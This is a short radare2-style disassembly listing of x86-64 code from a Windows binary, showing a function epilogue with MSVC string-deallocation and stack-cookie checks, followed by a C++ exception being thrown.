mov rdx, qword [rbp + 0x8f8]
cmp rdx, 0x10
jb 0x140030bd5
inc rdx
mov rcx, qword [rbp + 0x8e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140030bd0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140030bd0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c4bcc
mov rcx, qword [rbp + 0xad0]
xor rcx, rsp
call fcn.1400c4930
lea r11, [rsp + 0xbe0]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.140001df0
nop
call fcn.140001df0
nop
movdqa xmm0, xmmword [0x1400caca0]
movdqu xmmword [rbp + 0x2e0], xmm0
mov byte [rbp + 0x2f0], 1
lea rdx, [rbp + 0x728]
lea rcx, [rbp + 0x2e0]
call fcn.1400247f0
nop
lea rdx, [rbp + 0x728]
lea rcx, [rbp + 0x710]
call fcn.140001e10
lea rdx, [0x1400f7e60]
lea rcx, [rbp + 0x710]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140001d50
int3